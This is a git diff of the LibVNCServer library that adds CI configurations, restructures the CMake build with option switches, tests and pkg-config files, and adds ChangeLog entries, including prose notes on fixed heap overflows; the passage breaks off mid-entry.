diff options
58 files changed, 1149 insertions, 1690 deletions
diff --git a/.appveyor.yml b/.appveyor.yml new file mode 100644 index 0000000..b410f19 --- /dev/null +++ b/.appveyor.yml @@ -0,0 +1,34 @@ + +os: + - Visual Studio 2013 + - Visual Studio 2015 + +install: + - mkdir deps + - cd deps + # zlib + - curl -fsSL -o zlib.tar.gz https://github.com/madler/zlib/archive/v1.2.8.tar.gz + - 7z x zlib.tar.gz -so | 7z x -si -ttar > nul + - move zlib-1.2.8 zlib + - cd zlib + - cmake . + - cmake --build . + - cd .. + # libPNG + - curl -fsSL -o libpng.tar.gz ftp://ftp.simplesystems.org/pub/libpng/png/src/libpng16/libpng-1.6.28.tar.gz + - 7z x libpng.tar.gz -so | 7z x -si -ttar > nul + - move libpng-1.6.28 libpng + - cd libpng + - cmake . -DZLIB_INCLUDE_DIR=..\zlib -DZLIB_LIBRARY=..\zlib\debug\zlibstaticd.lib + - cmake --build . + - cd .. + # go back to source root + - cd .. + + +build_script: + - mkdir build + - cd build + - cmake .. -DZLIB_INCLUDE_DIR=..\deps\zlib -DZLIB_LIBRARY=..\deps\zlib\debug\zlibstaticd.lib -DPNG_PNG_INCLUDE_DIR=..\deps\libpng -DPNG_LIBRARY=..\deps\libpng\debug\libpng16_staticd.lib + - cmake --build . + - ctest -C Debug --output-on-failure diff --git a/.travis.yml b/.travis.yml index 13db7db..077dc84 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,4 +1,29 @@ language: c +dist: trusty +sudo: required + +os: + - linux + - osx + +compiler: + - gcc + - clang + +before_install: +- 'if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then export CFLAGS="-I/usr/local/opt/openssl/include $CFLAGS" LDFLAGS="-L/usr/local/opt/openssl/lib $LDFLAGS"; fi' +- | + if [[ "${TRAVIS_OS_NAME}" == "linux" ]]; then + CMAKE_URL="http://www.cmake.org/files/v3.7/cmake-3.7.2-Linux-x86_64.tar.gz" + mkdir -p ${TRAVIS_BUILD_DIR}/deps/cmake && travis_retry wget --quiet -O - ${CMAKE_URL} | tar --strip-components=1 -xz -C ${TRAVIS_BUILD_DIR}/deps/cmake + export PATH=${TRAVIS_BUILD_DIR}/deps/cmake/bin:${PATH} + fi + +# Build steps +script: + - mkdir build + - cd build + - cmake .. + - cmake --build . + - ctest --output-on-failure -# before build script, run autoreconf -before_script: autoreconf -fiv
\ No newline at end of file diff --git a/CMakeLists.txt b/CMakeLists.txt index 12367ec..93317af 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -1,4 +1,4 @@ -cmake_minimum_required(VERSION 2.6) +cmake_minimum_required(VERSION 3.4) cmake_policy(SET CMP0037 NEW) project(LibVNCServer) @@ -7,43 +7,60 @@ include(CheckIncludeFile) include(CheckTypeSize) include(TestBigEndian) include(CheckCSourceCompiles) -include(CheckCXXSourceCompiles) include(CheckCSourceRuns) +enable_testing() + set(PACKAGE_NAME "LibVNCServer") set(FULL_PACKAGE_NAME "LibVNCServer") set(VERSION_MAJOR "0") set(VERSION_MINOR "9") -set(VERSION_PATCHLEVEL "10") -set(VERSION_SO "0") +set(VERSION_PATCHLEVEL "12") +set(VERSION_SO "1") set(PACKAGE_VERSION "${VERSION_MAJOR}.${VERSION_MINOR}.${VERSION_PATCHLEVEL}") -set(PROJECT_BUGREPORT_PATH "http://sourceforge.net/projects/libvncserver") -set(CMAKE_C_FLAGS "-O2 -W -Wall -g") +set(PROJECT_BUGREPORT_PATH "https://github.com/LibVNC/libvncserver/issues") set(LIBVNCSERVER_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libvncserver) set(COMMON_DIR ${CMAKE_CURRENT_SOURCE_DIR}/common) set(LIBVNCCLIENT_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libvncclient) -set(LIBVNCSRVTEST_DIR ${CMAKE_CURRENT_SOURCE_DIR}/examples) -set(LIBVNCCLITEST_DIR ${CMAKE_CURRENT_SOURCE_DIR}/client_examples) +set(LIBVNCSRVEXAMPLE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/examples) +set(LIBVNCCLIEXAMPLE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/client_examples) +set(TESTS_DIR ${CMAKE_CURRENT_SOURCE_DIR}/test) +set(CMAKE_WINDOWS_EXPORT_ALL_SYMBOLS ON) include_directories(${CMAKE_CURRENT_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/libvncserver ${CMAKE_CURRENT_SOURCE_DIR}/common) -find_package(ZLIB) -find_package(JPEG) -find_package(PNG) -find_package(SDL) -find_package(GnuTLS) -find_package(Threads) -find_package(X11) -find_package(OpenSSL) -find_library(LIBGCRYPT_LIBRARIES gcrypt) - -# Check whether the version of libjpeg we found was libjpeg-turbo and print a -# warning if not. -set(CMAKE_REQUIRED_LIBRARIES ${JPEG_LIBRARIES}) -set(CMAKE_REQUIRED_FLAGS -I${JPEG_INCLUDE_DIR}) - -set(JPEG_TEST_SOURCE "\n +# all the build configuration switches +option(BUILD_SHARED_LIBS "Build shared libraries" ${UNIX}) +option(WITH_ZLIB "Search for the zlib compression library to support additional encodings" ON) +option(WITH_JPEG "Search for the libjpeg compression library to support additional encodings" ON) +option(WITH_PNG "Search for the PNG compression library to support additional encodings" ON) +option(WITH_SDL "Search for the Simple Direct Media Layer library to build an example SDL vnc client" ON) +option(WITH_THREADS "Search for a threading library to build with multithreading support" ON) +option(WITH_GNUTLS "Search for the GnuTLS secure communications library to support encryption" ON) +option(WITH_OPENSSL "Search for the OpenSSL cryptography library to support encryption" ON) +option(WITH_SYSTEMD "Search for libsystemd to build with systemd socket activation support" ON) +option(WITH_GCRYPT "Search for libgcrypt to support additional authentication methods in LibVNCClient" ON) +option(WITH_TIGHTVNC_FILETRANSFER "Enable filetransfer if there is pthreads support" ON) +option(WITH_24BPP "Allow 24 bpp" ON) +option(WITH_IPv6 "Enable IPv6 Support" ON) +option(WITH_WEBSOCKETS "Build with websockets support" ON) + + + +if(WITH_ZLIB) + find_package(ZLIB) +endif(WITH_ZLIB) + + +if(WITH_JPEG) + find_package(JPEG) + # Check whether the version of libjpeg we found was libjpeg-turbo and print a + # warning if not. + set(CMAKE_REQUIRED_LIBRARIES ${JPEG_LIBRARIES}) + set(CMAKE_REQUIRED_FLAGS -I${JPEG_INCLUDE_DIR}) + + set(JPEG_TEST_SOURCE "\n #include <stdio.h>\n #include <jpeglib.h>\n int main(void) {\n @@ -58,19 +75,83 @@ set(JPEG_TEST_SOURCE "\n return 0;\n }") -if(CMAKE_CROSSCOMPILING) - check_c_source_compiles("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) -else() - check_c_source_runs("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) -endif() + if(CMAKE_CROSSCOMPILING) + check_c_source_compiles("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) + else() + check_c_source_runs("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) + endif() -set(CMAKE_REQUIRED_LIBRARIES) -set(CMAKE_REQUIRED_FLAGS) -set(CMAKE_REQUIRED_DEFINITIONS) + set(CMAKE_REQUIRED_LIBRARIES) + set(CMAKE_REQUIRED_FLAGS) + set(CMAKE_REQUIRED_DEFINITIONS) + + if(NOT FOUND_LIBJPEG_TURBO) + message(WARNING "*** The libjpeg library you are building against is not libjpeg-turbo. Performance will be reduced. You can obtain libjpeg-turbo from: https://sourceforge.net/projects/libjpeg-turbo/files/ ***") + endif() +endif(WITH_JPEG) + + +if(WITH_PNG) + find_package(PNG) +endif(WITH_PNG) + + +if(WITH_SDL) + find_package(SDL) +endif(WITH_SDL) + + +if(WITH_THREADS) + find_package(Threads) +endif(WITH_THREADS) + + +if(WITH_GNUTLS) + find_package(GnuTLS) +endif(WITH_GNUTLS) + + +if(WITH_OPENSSL) + find_package(OpenSSL) +endif(WITH_OPENSSL) + + +if(WITH_SYSTEMD) + find_package(PkgConfig) + pkg_check_modules(SYSTEMD "libsystemd") +endif(WITH_SYSTEMD) + + +if(WITH_GCRYPT) + find_library(LIBGCRYPT_LIBRARIES gcrypt) +endif(WITH_GCRYPT) + + +check_include_file("endian.h" LIBVNCSERVER_HAVE_ENDIAN_H) +check_include_file("fcntl.h" LIBVNCSERVER_HAVE_FCNTL_H) +check_include_file("netinet/in.h" LIBVNCSERVER_HAVE_NETINET_IN_H) +check_include_file("sys/endian.h" LIBVNCSERVER_HAVE_SYS_ENDIAN_H) +check_include_file("sys/socket.h" LIBVNCSERVER_HAVE_SYS_SOCKET_H) +check_include_file("sys/stat.h" LIBVNCSERVER_HAVE_SYS_STAT_H) +check_include_file("sys/time.h" LIBVNCSERVER_HAVE_SYS_TIME_H) +check_include_file("sys/types.h" LIBVNCSERVER_HAVE_SYS_TYPES_H) +check_include_file("sys/wait.h" LIBVNCSERVER_HAVE_SYS_WAIT_H) +check_include_file("unistd.h" LIBVNCSERVER_HAVE_UNISTD_H) +check_include_file("sys/uio.h" LIBVNCSERVER_HAVE_SYS_UIO_H) + + +# headers needed for check_type_size() +check_include_file("vfork.h" LIBVNCSERVER_HAVE_VFORK_H) +check_include_file("ws2tcpip.h" LIBVNCSERVER_HAVE_WS2TCPIP_H) +check_include_file("arpa/inet.h" HAVE_ARPA_INET_H) +check_include_file("stdint.h" HAVE_STDINT_H) +check_include_file("stddef.h" HAVE_STDDEF_H) +check_include_file("sys/types.h" HAVE_SYS_TYPES_H) + +check_function_exists(gettimeofday LIBVNCSERVER_HAVE_GETTIMEOFDAY) +check_function_exists(vfork LIBVNCSERVER_HAVE_VFORK) +check_function_exists(vprintf LIBVNCSERVER_HAVE_VPRINTF) -if(NOT FOUND_LIBJPEG_TURBO) - message(WARNING "*** The libjpeg library you are building against is not libjpeg-turbo. Performance will be reduced. You can obtain libjpeg-turbo from: https://sourceforge.net/projects/libjpeg-turbo/files/ ***") -endif() # On systems such as GNU/Linux with glibc, __b64_ntop is defined in a # separate library, libresolv. On some others, such as FreeBSD, it is @@ -86,13 +167,21 @@ if(NOT HAVE_B64_IN_LIBC) if(HAVE_B64_IN_LIBRESOLV) set(RESOLV_LIB "resolv") endif(HAVE_B64_IN_LIBRESOLV) + + # the function check somehow fails for apple but the function is there + if(APPLE) + set(RESOLV_LIB "resolv") + endif(APPLE) + endif(NOT HAVE_B64_IN_LIBC) if(Threads_FOUND) - option(TIGHTVNC_FILETRANSFER "Enable filetransfer" ON) + set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ${CMAKE_THREAD_LIBS_INIT}) endif(Threads_FOUND) if(ZLIB_FOUND) set(LIBVNCSERVER_HAVE_LIBZ 1) +else() + unset(ZLIB_LIBRARIES) # would otherwise contain -NOTFOUND, confusing target_link_libraries() endif(ZLIB_FOUND) if(JPEG_FOUND) set(LIBVNCSERVER_HAVE_LIBJPEG 1) @@ -100,60 +189,57 @@ endif(JPEG_FOUND) if(PNG_FOUND) set(LIBVNCSERVER_HAVE_LIBPNG 1) endif(PNG_FOUND) -option(LIBVNCSERVER_ALLOW24BPP "Allow 24 bpp" ON) - -if(GNUTLS_FOUND) - set(LIBVNCSERVER_WITH_CLIENT_TLS 1) - option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (gnutls)" ON) - set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${GNUTLS_LIBRARIES}) - set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_gnutls ${LIBVNCSERVER_DIR}/rfbcrypto_gnutls) - include_directories(${GNUTLS_INCLUDE_DIR}) -elseif(OPENSSL_FOUND) - option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (openssl)" ON) - set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${OPENSSL_LIBRARIES}) - set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_openssl ${LIBVNCSERVER_DIR}/rfbcrypto_openssl) - include_directories(${OPENSSL_INCLUDE_DIR}) -else() - option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (no ssl)" ON) - set(WEBSOCKET_LIBRARIES ${RESOLV_LIB}) - set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_none.c ${LIBVNCSERVER_DIR}/rfbcrypto_included.c ${COMMON_DIR}/md5.c ${COMMON_DIR}/sha1.c) +if(NOT OPENSSL_FOUND) + unset(OPENSSL_LIBRARIES) # would otherwise contain -NOTFOUND, confusing target_link_libraries() endif() - -if(LIBGCRYPT_LIBRARIES) +if(SYSTEMD_FOUND) + add_definitions(-DLIBVNCSERVER_WITH_SYSTEMD) + include_directories(${SYSTEMD_INCLUDE_DIRS}) + set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ${SYSTEMD_LIBRARIES}) +endif(SYSTEMD_FOUND) + + +if(WITH_WEBSOCKETS AND LIBVNCSERVER_HAVE_SYS_UIO_H) + set(LIBVNCSERVER_WITH_WEBSOCKETS 1) + if(GNUTLS_FOUND) + set(LIBVNCSERVER_WITH_CLIENT_TLS 1) + message(STATUS "Building websockets with GnuTLS") + set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${GNUTLS_LIBRARIES}) + set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_gnutls ${LIBVNCSERVER_DIR}/rfbcrypto_gnutls) + include_directories(${GNUTLS_INCLUDE_DIR}) + elseif(OPENSSL_FOUND) + message(STATUS "Building websockets with OpenSSL") + set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${OPENSSL_LIBRARIES}) + set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_openssl ${LIBVNCSERVER_DIR}/rfbcrypto_openssl) + else() + message(STATUS "Building websockets without SSL") + set(WEBSOCKET_LIBRARIES ${RESOLV_LIB}) + set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_none.c ${LIBVNCSERVER_DIR}/rfbcrypto_included.c ${COMMON_DIR}/md5.c ${COMMON_DIR}/sha1.c) + endif() +endif(WITH_WEBSOCKETS AND LIBVNCSERVER_HAVE_SYS_UIO_H) + +if(WITH_GCRYPT AND LIBGCRYPT_LIBRARIES) message(STATUS "Found libgcrypt: ${LIBGCRYPT_LIBRARIES}") set(LIBVNCSERVER_WITH_CLIENT_GCRYPT 1) set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ${LIBGCRYPT_LIBRARIES}) -endif(LIBGCRYPT_LIBRARIES) +endif(WITH_GCRYPT AND LIBGCRYPT_LIBRARIES) -check_include_file("endian.h" LIBVNCSERVER_HAVE_ENDIAN_H) -check_include_file("fcntl.h" LIBVNCSERVER_HAVE_FCNTL_H) -check_include_file("netinet/in.h" LIBVNCSERVER_HAVE_NETINET_IN_H) -check_include_file("sys/endian.h" LIBVNCSERVER_HAVE_SYS_ENDIAN_H) -check_include_file("sys/socket.h" LIBVNCSERVER_HAVE_SYS_SOCKET_H) -check_include_file("sys/stat.h" LIBVNCSERVER_HAVE_SYS_STAT_H) -check_include_file("sys/time.h" LIBVNCSERVER_HAVE_SYS_TIME_H) -check_include_file("sys/types.h" LIBVNCSERVER_HAVE_SYS_TYPES_H) -check_include_file("sys/wait.h" LIBVNCSERVER_HAVE_SYS_WAIT_H) -check_include_file("unistd.h" LIBVNCSERVER_HAVE_UNISTD_H) +if(WITH_IPv6) + if(WIN32 AND LIBVNCSERVER_HAVE_WS2TCPIP_H AND LIBVNCSERVER_HAVE_VPRINTF) + set(LIBVNCSERVER_IPv6 1) + endif() + if(NOT WIN32) + set(LIBVNCSERVER_IPv6 1) + endif() +endif(WITH_IPv6) -# headers needed for check_type_size() -check_include_file("vfork.h" LIBVNCSERVER_HAVE_VFORK_H) -check_include_file("ws2tcpip.h" LIBVNCSERVER_HAVE_WS2TCPIP_H) -check_include_file("arpa/inet.h" HAVE_ARPA_INET_H) -check_include_file("stdint.h" HAVE_STDINT_H) -check_include_file("stddef.h" HAVE_STDDEF_H) -check_include_file("sys/types.h" HAVE_SYS_TYPES_H) -check_function_exists(gettimeofday LIBVNCSERVER_HAVE_GETTIMEOFDAY) -check_function_exists(vfork LIBVNCSERVER_HAVE_VFORK) -check_function_exists(vprintf LIBVNCSERVER_HAVE_VPRINTF) - - -if(LIBVNCSERVER_HAVE_WS2TCPIP_H AND LIBVNCSERVER_HAVE_VPRINTF) - option(LIBVNCSERVER_IPv6 "Enable IPv6 Support" ON) +if(WITH_24BPP) + set(LIBVNCSERVER_ALLOW24BPP 1) endif() + if(CMAKE_USE_PTHREADS_INIT) set(LIBVNCSERVER_HAVE_LIBPTHREAD 1) endif(CMAKE_USE_PTHREADS_INIT) @@ -226,6 +312,7 @@ elseif(OPENSSL_FOUND) ${LIBVNCCLIENT_SOURCES} ${LIBVNCCLIENT_DIR}/tls_openssl.c ) + include_directories(${OPENSSL_INCLUDE_DIR}) else() set(LIBVNCCLIENT_SOURCES ${LIBVNCCLIENT_SOURCES} @@ -254,7 +341,6 @@ endif(JPEG_FOUND) if(PNG_FOUND) add_definitions(-DLIBVNCSERVER_HAVE_LIBPNG) include_directories(${PNG_INCLUDE_DIR}) - set(TIGHT_C ${LIBVNCSERVER_DIR}/tight.c ${COMMON_DIR}/turbojpeg.c) endif(PNG_FOUND) set(LIBVNCSERVER_SOURCES @@ -262,7 +348,7 @@ set(LIBVNCSERVER_SOURCES ${TIGHT_C} ) -if(TIGHTVNC_FILETRANSFER) +if(WITH_TIGHTVNC_FILETRANSFER AND CMAKE_USE_PTHREADS_INIT) set(LIBVNCSERVER_SOURCES ${LIBVNCSERVER_SOURCES} ${LIBVNCSERVER_DIR}/tightvnc-filetransfer/rfbtightserver.c @@ -270,7 +356,7 @@ if(TIGHTVNC_FILETRANSFER) ${LIBVNCSERVER_DIR}/tightvnc-filetransfer/filetransfermsg.c ${LIBVNCSERVER_DIR}/tightvnc-filetransfer/filelistinfo.c ) -endif(TIGHTVNC_FILETRANSFER) +endif(WITH_TIGHTVNC_FILETRANSFER AND CMAKE_USE_PTHREADS_INIT) if(LIBVNCSERVER_WITH_WEBSOCKETS) add_definitions(-DLIBVNCSERVER_WITH_WEBSOCKETS) @@ -282,8 +368,8 @@ if(LIBVNCSERVER_WITH_WEBSOCKETS) endif(LIBVNCSERVER_WITH_WEBSOCKETS) -add_library(vncclient SHARED ${LIBVNCCLIENT_SOURCES}) -add_library(vncserver SHARED ${LIBVNCSERVER_SOURCES}) +add_library(vncclient ${LIBVNCCLIENT_SOURCES}) +add_library(vncserver ${LIBVNCSERVER_SOURCES}) if(WIN32) set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ws2_32) endif(WIN32) @@ -307,8 +393,8 @@ SET_TARGET_PROPERTIES(vncclient vncserver PROPERTIES SOVERSION "${VERSION_SO}" VERSION "${PACKAGE_VERSION}" ) -# tests -set(LIBVNCSERVER_TESTS +# EXAMPLES +set(LIBVNCSERVER_EXAMPLES backchannel camera colourmaptest @@ -324,60 +410,154 @@ set(LIBVNCSERVER_TESTS vncev ) -if(Threads_FOUND) - set(LIBVNCSERVER_TESTS - ${LIBVNCSERVER_TESTS} +if(CMAKE_USE_PTHREADS_INIT) + set(LIBVNCSERVER_EXAMPLES + ${LIBVNCSERVER_EXAMPLES} blooptest ) -endif(Threads_FOUND) +endif(CMAKE_USE_PTHREADS_INIT) -if(TIGHTVNC_FILETRANSFER) - set(LIBVNCSERVER_TESTS - ${LIBVNCSERVER_TESTS} +if(WITH_TIGHTVNC_FILETRANSFER AND CMAKE_USE_PTHREADS_INIT) + set(LIBVNCSERVER_EXAMPLES + ${LIBVNCSERVER_EXAMPLES} filetransfer ) -endif(TIGHTVNC_FILETRANSFER) +endif(WITH_TIGHTVNC_FILETRANSFER AND CMAKE_USE_PTHREADS_INIT) if(MACOS) - set(LIBVNCSERVER_TESTS - ${LIBVNCSERVER_TESTS} + set(LIBVNCSERVER_EXAMPLES + ${LIBVNCSERVER_EXAMPLES} mac ) endif(MACOS) -set(LIBVNCCLIENT_TESTS +set(LIBVNCCLIENT_EXAMPLES backchannel ppmtest ) if(SDL_FOUND) include_directories(${SDL_INCLUDE_DIR}) - set(LIBVNCCLIENT_TESTS - ${LIBVNCCLIENT_TESTS} + set(LIBVNCCLIENT_EXAMPLES + ${LIBVNCCLIENT_EXAMPLES} SDLvncviewer ) set(SDLvncviewer_EXTRA_SOURCES scrap.c) endif(SDL_FOUND) if(HAVE_FFMPEG) - set(LIBVNCCLIENT_TESTS - ${LIBVNCCLIENT_TESTS} + set(LIBVNCCLIENT_EXAMPLES + ${LIBVNCCLIENT_EXAMPLES} vnc2mpg ) endif(HAVE_FFMPEG) file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/examples) -foreach(test ${LIBVNCSERVER_TESTS}) - add_executable(examples_${test} ${LIBVNCSRVTEST_DIR}/${test}.c) - target_link_libraries(examples_${test} vncserver ${CMAKE_THREAD_LIBS_INIT}) -endforeach(test ${LIBVNCSERVER_TESTS}) +foreach(e ${LIBVNCSERVER_EXAMPLES}) + add_executable(examples_${e} ${LIBVNCSRVEXAMPLE_DIR}/${e}.c) + set_target_properties(examples_${e} PROPERTIES OUTPUT_NAME ${e}) + set_target_properties(examples_${e} PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/examples) + target_link_libraries(examples_${e} vncserver ${CMAKE_THREAD_LIBS_INIT}) +endforeach(e ${LIBVNCSERVER_EXAMPLES}) file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/client_examples) -foreach(test ${LIBVNCCLIENT_TESTS}) - add_executable(client_examples_${test} ${LIBVNCCLITEST_DIR}/${test}.c ${LIBVNCCLITEST_DIR}/${${test}_EXTRA_SOURCES} ) - target_link_libraries(client_examples_${test} vncclient ${CMAKE_THREAD_LIBS_INIT} ${X11_LIBRARIES} ${SDL_LIBRARY} ${FFMPEG_LIBRARIES}) -endforeach(test ${LIBVNCCLIENT_TESTS}) +foreach(e ${LIBVNCCLIENT_EXAMPLES}) + add_executable(client_examples_${e} ${LIBVNCCLIEXAMPLE_DIR}/${e}.c ${LIBVNCCLIEXAMPLE_DIR}/${${e}_EXTRA_SOURCES} ) + set_target_properties(client_examples_${e} PROPERTIES OUTPUT_NAME ${e}) + set_target_properties(client_examples_${e} PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/client_examples) + target_link_libraries(client_examples_${e} vncclient ${CMAKE_THREAD_LIBS_INIT} ${SDL_LIBRARY} ${FFMPEG_LIBRARIES}) +endforeach(e ${LIBVNCCLIENT_EXAMPLES}) + + +# +# them tests +# + +if(UNIX) + set(ADDITIONAL_TEST_LIBS m) +endif(UNIX) + +set(SIMPLETESTS + cargstest + copyrecttest +) + +if(CMAKE_USE_PTHREADS_INIT) + set(SIMPLETESTS + ${SIMPLETESTS} + encodingstest + ) +endif(CMAKE_USE_PTHREADS_INIT) + +file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/test) +foreach(t ${SIMPLETESTS}) + add_executable(test_${t} ${TESTS_DIR}/${t}.c) + set_target_properties(test_${t} PROPERTIES OUTPUT_NAME ${t}) + set_target_properties(test_${t} PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/test) + target_link_libraries(test_${t} vncserver vncclient ${ADDITIONAL_TEST_LIBS}) +endforeach(t ${SIMPLETESTS}) + +if(FOUND_LIBJPEG_TURBO) + add_executable(test_tjunittest + ${TESTS_DIR}/tjunittest.c + ${TESTS_DIR}/tjutil.c + ${TESTS_DIR}/tjutil.h + ${COMMON_DIR}/turbojpeg.c + ${COMMON_DIR}/turbojpeg.h + ) + set_target_properties(test_tjunittest PROPERTIES OUTPUT_NAME tjunittest) + set_target_properties(test_tjunittest PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/test) + target_link_libraries(test_tjunittest vncserver vncclient ${ADDITIONAL_TEST_LIBS}) + + add_executable(test_tjbench + ${TESTS_DIR}/tjbench.c + ${TESTS_DIR}/tjutil.c + ${TESTS_DIR}/tjutil.h + ${TESTS_DIR}/bmp.c + ${TESTS_DIR}/bmp.h + ${COMMON_DIR}/turbojpeg.c + ${COMMON_DIR}/turbojpeg.h + ) + set_target_properties(test_tjbench PROPERTIES OUTPUT_NAME tjbench) + set_target_properties(test_tjbench PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/test) + target_link_libraries(test_tjbench vncserver vncclient ${ADDITIONAL_TEST_LIBS}) + +endif(FOUND_LIBJPEG_TURBO) + +add_test(NAME cargs COMMAND test_cargstest) +if(FOUND_LIBJPEG_TURBO) + add_test(NAME turbojpeg COMMAND test_tjunittest) +endif(FOUND_LIBJPEG_TURBO) + + + +# +# this gets the libraries needed by TARGET in "-libx -liby ..." form +# +function(get_link_libraries OUT TARGET) + set(RESULT "") + get_target_property(LIBRARIES ${TARGET} INTERFACE_LINK_LIBRARIES) + foreach(LIB ${LIBRARIES}) + if("${LIB}" MATCHES ".*NOTFOUND.*") + continue() + endif() + string(REGEX REPLACE "^.*/lib" "" LIB ${LIB}) # remove leading path and "lib" name prefix + string(REGEX REPLACE "-l" "" LIB ${LIB}) # remove leading -l + string(REGEX REPLACE "\\.so$" "" LIB ${LIB}) # remove trailing .so + list(APPEND RESULT "-l${LIB}") + endforeach() + list(REMOVE_DUPLICATES RESULT) + string(CONCAT RESULT ${RESULT}) # back to string + string(REPLACE "-l" " -l" RESULT ${RESULT}) # re-add separators + set(${OUT} ${RESULT} PARENT_SCOPE) +endfunction() + +get_link_libraries(PRIVATE_LIBS vncserver) +configure_file(${CMAKE_CURRENT_SOURCE_DIR}/libvncserver.pc.cmakein ${CMAKE_CURRENT_BINARY_DIR}/libvncserver.pc @ONLY) +get_link_libraries(PRIVATE_LIBS vncclient) +configure_file(${CMAKE_CURRENT_SOURCE_DIR}/libvncclient.pc.cmakein ${CMAKE_CURRENT_BINARY_DIR}/libvncclient.pc @ONLY) + install_targets(/lib vncserver) install_targets(/lib vncclient) @@ -389,3 +569,8 @@ install_files(/include/rfb FILES rfb/rfbproto.h rfb/rfbregion.h ) + +install_files(/lib/pkgconfig FILES + libvncserver.pc + libvncclient.pc +) @@ -1,3 +1,448 @@ +2016-12-29 Christian Beier <dontmind@freeshell.org> + + * README: Fix README markdown. + +2016-12-28 Christian Beier <dontmind@freeshell.org> + + * CMakeLists.txt: CMake: version up as well. + +2016-12-28 Christian Beier <dontmind@freeshell.org> + + * NEWS: Update NEWS. + +2016-12-28 Christian Beier <dontmind@freeshell.org> + + * configure.ac: Version up. + +2016-12-28 Christian Beier <dontmind@freeshell.org> + + * libvncserver/main.c: LibVNCServer: fix starting of an + onHold-client in threaded mode. Discovered by madscientist159 on 11 Jan 2015: "noted in testing with the threaded server build, whereby if + newClientHook() returned RFB_CLIENT_ON_HOLD there was no way to + release the hold when the server became ready" + +2016-12-09 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #145 from bkylerussell/websockets Sec-WebSocket-Protocol header fix + +2016-12-02 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #142 from samhed/master Write the correct length for end of header + +2016-11-29 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #140 from vapier/master test/Makefile: use check_PROGRAMS + +2015-01-10 Timothy Pearson <kb9vqf@pearsoncomputing.net> + + * README: Update README to reflect change from defaultPtrAddEvent to + rfbDefaultPtrAddEvent + +2016-11-25 Christian Beier <dontmind@freeshell.org> + + * libvncserver/httpd.c: httpd: rework mime type handling to + recognise more types + +2016-11-24 Christian Beier <dontmind@freeshell.org> + + * .travis.yml: TravisCI: Another stab at fixing OSX build. See https://github.com/Tarsnap/spiped/pull/92 + +2016-11-24 Christian Beier <dontmind@freeshell.org> + + * configure.ac: Revert "Hopefully fix building on OSX." This reverts commit 584b23fdbe12edd81119d57ddd378d10e52cc9e1. + +2016-11-24 Christian Beier <dontmind@freeshell.org> + + * configure.ac: Hopefully fix building on OSX. + +2016-11-24 Christian Beier <dontmind@freeshell.org> + + * .travis.yml: TravisCI: check on OSX as well, test both gcc and + clang. + +2016-11-24 Christian Beier <dontmind@freeshell.org> + + * libvncclient/rfbproto.c: Fix building on OSX. + +2016-11-24 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #137 from atalax/master Fix two heap buffer overflows + +2016-11-18 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #138 from stweil/master Fix some typos + +2016-11-18 Stefan Weil <sw@weilnetz.de> + + * README, common/zywrletemplate.c, examples/example.c, + examples/zippy.c: Fix some typos (it's / its) Signed-off-by: Stefan Weil <sw@weilnetz.de> + +2016-11-14 Josef Gajdusek <atx@atx.name> + + * libvncclient/ultra.c: Fix heap overflow in the ultra.c decoder The Ultra type tile decoder does not use the _safe variant of the + LZO decompress function, which allows a maliciuous server to + overwrite parts of the heap by sending a larger-than-specified LZO + data stream. + +2016-11-14 Josef Gajdusek <atx@atx.name> + + * libvncclient/rfbproto.c: Fix heap overflows in the various + rectangle fill functions Altough rfbproto.c does check whether the overall FramebufferUpdate + rectangle is too large, some of the individual encoding decoders do + not, which allows a malicious server to overwrite parts of the heap. + +2016-09-24 Christian Beier <dontmind@freeshell.org> + + * : Merge pull request #129 from bkylerussell/systemd Support systemd socket activation + +2016-08-14 Zac Medico <zmedico@gmail.com> + + * libvncserver/sockets.c: Support autoPort with ipv4 or ipv6 + disabled Make it possible to get autoPort behavior with either ipv4 or ipv6 + disabled, by setting rfbScreen->ipv6port or rfbScreen->port to a + negative number. This will make it possible for x11vnc to enforce + its -noipv6 option, as discussed in the following bug report: 